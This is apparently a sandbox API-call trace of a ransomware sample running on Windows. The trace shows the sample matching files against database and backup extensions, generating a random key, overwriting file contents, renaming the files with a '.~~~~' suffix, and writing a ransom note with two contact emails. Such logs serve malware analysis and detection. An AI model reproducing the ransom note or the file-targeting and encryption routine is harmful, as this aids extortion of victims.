	[0082.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".DB") returned 0x0
	[0082.577] lstrlenW (lpString=".sql") returned 4
	[0082.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".sql") returned 0x0
	[0082.577] lstrlenW (lpString=".MYD") returned 4
	[0082.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".MYD") returned 0x0
	[0082.577] lstrlenW (lpString=".DBT") returned 4
	[0082.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".DBT") returned 0x0
	[0082.577] lstrlenW (lpString=".ACCDB") returned 6
	[0082.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".ACCDB") returned 0x0
	[0082.577] lstrlenW (lpString=".fdb") returned 4
	[0082.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".fdb") returned 0x0
	[0082.577] lstrlenW (lpString=".bak") returned 4
	[0082.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".bak") returned 0x0
	[0082.577] lstrlenW (lpString=".myd") returned 4
	[0082.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".myd") returned 0x0
	[0082.577] lstrlenW (lpString=".DTXS") returned 5
	[0082.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".DTXS") returned 0x0
	[0082.578] lstrlenW (lpString=".ckp") returned 4
	[0082.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".ckp") returned 0x0
	[0082.578] lstrlenW (lpString=".dbt") returned 4
	[0082.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".dbt") returned 0x0
	[0082.578] lstrlenW (lpString=".db") returned 3
	[0082.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".db") returned 0x0
	[0082.578] lstrlenW (lpString=".TXT") returned 4
	[0082.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".TXT") returned 0x0
	[0082.578] lstrlenW (lpString=".MDF") returned 4
	[0082.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".MDF") returned 0x0
	[0082.578] lstrlenW (lpString=".bdb") returned 4
	[0082.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".bdb") returned 0x0
	[0082.578] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.578] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0082.580] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.580] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0082.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0082.580] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20257001578) returned 1
	[0082.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9b116ad0, dwHighDateTime=0x1d60e1e)) 
	[0082.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0082.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0082.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0082.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a39c8
	[0082.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a39c8 | out: hHeap=0x300000) returned 1
	[0082.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa3b8
	[0082.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbfe8
	[0082.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa3b8 | out: hHeap=0x300000) returned 1
	[0082.580] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0082.581] GetLastError () returned 0x0
	[0082.581] GetLastError () returned 0x0
	[0082.581] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0082.581] GetLastError () returned 0x0
	[0082.581] GetLastError () returned 0x0
	[0082.581] ReadFile (in: hFile=0x130, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.585] WriteFile (in: hFile=0x130, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.587] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.587] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.587] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.587] CloseHandle (hObject=0x130) returned 1
	[0082.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa3b8
	[0082.587] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.~~~~")) returned 1
	[0082.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa3b8 | out: hHeap=0x300000) returned 1
	[0082.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0082.588] GetLastError () returned 0x0
	[0082.588] RtlWakeConditionVariable () returned 0x365f70
	[0082.588] GetCurrentThreadId () returned 0x9f4
	[0082.588] GetCurrentThreadId () returned 0x9f4
	[0082.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa700 | out: hHeap=0x300000) returned 1
	[0082.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3990 | out: hHeap=0x300000) returned 1
	[0082.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa700
	[0082.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0082.589] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0082.589] WriteFile (in: hFile=0x130, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0082.591] CloseHandle (hObject=0x130) returned 1
	[0082.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa700 | out: hHeap=0x300000) returned 1
	[0082.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0082.591] RtlWakeConditionVariable () returned 0x365f70
	[0082.591] GetCurrentThreadId () returned 0x9f4
	[0082.591] GetCurrentThreadId () returned 0x9f4
	[0082.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc248
	[0082.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7720 | out: hHeap=0x300000) returned 1
	[0082.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac580 | out: hHeap=0x300000) returned 1
	[0082.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7720
	[0082.591] lstrlenW (lpString=".scr") returned 4
	[0082.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpSrch=".scr") returned 0x0
	[0082.591] lstrlenW (lpString=".cmd") returned 4
	[0082.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpSrch=".cmd") returned 0x0
	[0082.591] lstrlenW (lpString=".dll") returned 4
	[0082.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpSrch=".dll") returned 0x0
	[0082.591] lstrlenW (lpString=".bat") returned 4
	[0082.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpSrch=".bat") returned 0x0
	[0082.591] lstrlenW (lpString=".cpl") returned 4
	[0082.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpSrch=".cpl") returned 0x0
	[0082.591] lstrlenW (lpString=".sys") returned 4
	[0082.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpSrch=".sys") returned 0x0
	[0082.592] lstrlenW (lpString=".msc") returned 4
	[0082.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpSrch=".msc") returned 0x0
	[0082.592] lstrlenW (lpString=".com") returned 4
	[0082.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpSrch=".com") returned 0x0
	[0082.592] lstrlenW (lpString=".lnk") returned 4
	[0082.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpSrch=".lnk") returned 0x0
	[0082.592] lstrlenW (lpString=".msp") returned 4
	[0082.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpSrch=".msp") returned 0x0
	[0082.592] lstrlenW (lpString=".pif") returned 4
	[0082.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpSrch=".pif") returned 0x0
	[0082.592] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpSrch="msp\r\n.pif") returned 0x0
	[0082.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7720 | out: hHeap=0x300000) returned 1
	[0082.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc248 | out: hHeap=0x300000) returned 1
	[0082.714] RtlWakeConditionVariable () returned 0x365f70
	[0082.714] GetCurrentThreadId () returned 0x9f4
	[0082.714] GetCurrentThreadId () returned 0x9f4
	[0082.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8218
	[0082.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7798 | out: hHeap=0x300000) returned 1
	[0082.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2c18 | out: hHeap=0x300000) returned 1
	[0082.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7798
	[0082.714] lstrlenW (lpString=".scr") returned 4
	[0082.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", lpSrch=".scr") returned 0x0
	[0082.714] lstrlenW (lpString=".cmd") returned 4
	[0082.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", lpSrch=".cmd") returned 0x0
	[0082.714] lstrlenW (lpString=".dll") returned 4
	[0082.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", lpSrch=".dll") returned 0x0
	[0082.714] lstrlenW (lpString=".bat") returned 4
	[0082.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", lpSrch=".bat") returned 0x0
	[0082.714] lstrlenW (lpString=".cpl") returned 4
	[0082.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", lpSrch=".cpl") returned 0x0
	[0082.714] lstrlenW (lpString=".sys") returned 4
	[0082.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", lpSrch=".sys") returned 0x0
	[0082.714] lstrlenW (lpString=".msc") returned 4
	[0082.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", lpSrch=".msc") returned 0x0
	[0082.714] lstrlenW (lpString=".com") returned 4
	[0082.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", lpSrch=".com") returned 0x0
	[0082.714] lstrlenW (lpString=".lnk") returned 4
	[0082.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", lpSrch=".lnk") returned 0x0
	[0082.715] lstrlenW (lpString=".msp") returned 4
	[0082.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", lpSrch=".msp") returned 0x0
	[0082.715] lstrlenW (lpString=".pif") returned 4
	[0082.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", lpSrch=".pif") returned 0x0
	[0082.715] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg", lpSrch="msp\r\n.pif") returned 0x0
	[0082.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7798 | out: hHeap=0x300000) returned 1
	[0082.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8218 | out: hHeap=0x300000) returned 1
	[0082.732] RtlWakeConditionVariable () returned 0x365f70
	[0082.732] GetCurrentThreadId () returned 0x9f4
	[0082.732] GetCurrentThreadId () returned 0x9f4
	[0082.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc248
	[0082.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcb30 | out: hHeap=0x300000) returned 1
	[0082.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3aa8 | out: hHeap=0x300000) returned 1
	[0082.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fcb30
	[0082.732] lstrlenW (lpString=".scr") returned 4
	[0082.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpSrch=".scr") returned 0x0
	[0082.732] lstrlenW (lpString=".cmd") returned 4
	[0082.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpSrch=".cmd") returned 0x0
	[0082.733] lstrlenW (lpString=".dll") returned 4
	[0082.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpSrch=".dll") returned 0x0
	[0082.733] lstrlenW (lpString=".bat") returned 4
	[0082.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpSrch=".bat") returned 0x0
	[0082.733] lstrlenW (lpString=".cpl") returned 4
	[0082.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpSrch=".cpl") returned 0x0
	[0082.733] lstrlenW (lpString=".sys") returned 4
	[0082.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpSrch=".sys") returned 0x0
	[0082.733] lstrlenW (lpString=".msc") returned 4
	[0082.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpSrch=".msc") returned 0x0
	[0082.733] lstrlenW (lpString=".com") returned 4
	[0082.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpSrch=".com") returned 0x0
	[0082.733] lstrlenW (lpString=".lnk") returned 4
	[0082.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpSrch=".lnk") returned 0x0
	[0082.733] lstrlenW (lpString=".msp") returned 4
	[0082.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpSrch=".msp") returned 0x0
	[0082.733] lstrlenW (lpString=".pif") returned 4
	[0082.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpSrch=".pif") returned 0x0
	[0082.733] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm", lpSrch="msp\r\n.pif") returned 0x0
	[0082.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcb30 | out: hHeap=0x300000) returned 1
	[0082.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc248 | out: hHeap=0x300000) returned 1
	[0082.746] RtlWakeConditionVariable () returned 0x365f70
	[0082.746] GetCurrentThreadId () returned 0x9f4
	[0082.746] GetCurrentThreadId () returned 0x9f4
	[0082.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0082.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807418 | out: hHeap=0x300000) returned 1
	[0082.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3920 | out: hHeap=0x300000) returned 1
	[0082.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807418
	[0082.746] lstrlenW (lpString=".scr") returned 4
	[0082.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", lpSrch=".scr") returned 0x0
	[0082.746] lstrlenW (lpString=".cmd") returned 4
	[0082.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", lpSrch=".cmd") returned 0x0
	[0082.746] lstrlenW (lpString=".dll") returned 4
	[0082.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", lpSrch=".dll") returned 0x0
	[0082.746] lstrlenW (lpString=".bat") returned 4
	[0082.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", lpSrch=".bat") returned 0x0
	[0082.746] lstrlenW (lpString=".cpl") returned 4
	[0082.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", lpSrch=".cpl") returned 0x0
	[0082.746] lstrlenW (lpString=".sys") returned 4
	[0082.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", lpSrch=".sys") returned 0x0
	[0082.746] lstrlenW (lpString=".msc") returned 4
	[0082.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", lpSrch=".msc") returned 0x0
	[0082.747] lstrlenW (lpString=".com") returned 4
	[0082.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", lpSrch=".com") returned 0x0
	[0082.747] lstrlenW (lpString=".lnk") returned 4
	[0082.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", lpSrch=".lnk") returned 0x0
	[0082.747] lstrlenW (lpString=".msp") returned 4
	[0082.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", lpSrch=".msp") returned 0x0
	[0082.747] lstrlenW (lpString=".pif") returned 4
	[0082.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", lpSrch=".pif") returned 0x0
	[0082.747] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", lpSrch="msp\r\n.pif") returned 0x0
	[0082.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807418 | out: hHeap=0x300000) returned 1
	[0082.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0082.821] RtlWakeConditionVariable () returned 0x365f70
	[0082.821] GetCurrentThreadId () returned 0x9f4
	[0082.821] GetCurrentThreadId () returned 0x9f4
	[0082.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c3c0
	[0082.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcd90 | out: hHeap=0x300000) returned 1
	[0082.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1f40 | out: hHeap=0x300000) returned 1
	[0082.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fcd90
	[0082.822] lstrlenW (lpString=".scr") returned 4
	[0082.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".scr") returned 0x0
	[0082.822] lstrlenW (lpString=".cmd") returned 4
	[0082.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".cmd") returned 0x0
	[0082.822] lstrlenW (lpString=".dll") returned 4
	[0082.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".dll") returned 0x0
	[0082.822] lstrlenW (lpString=".bat") returned 4
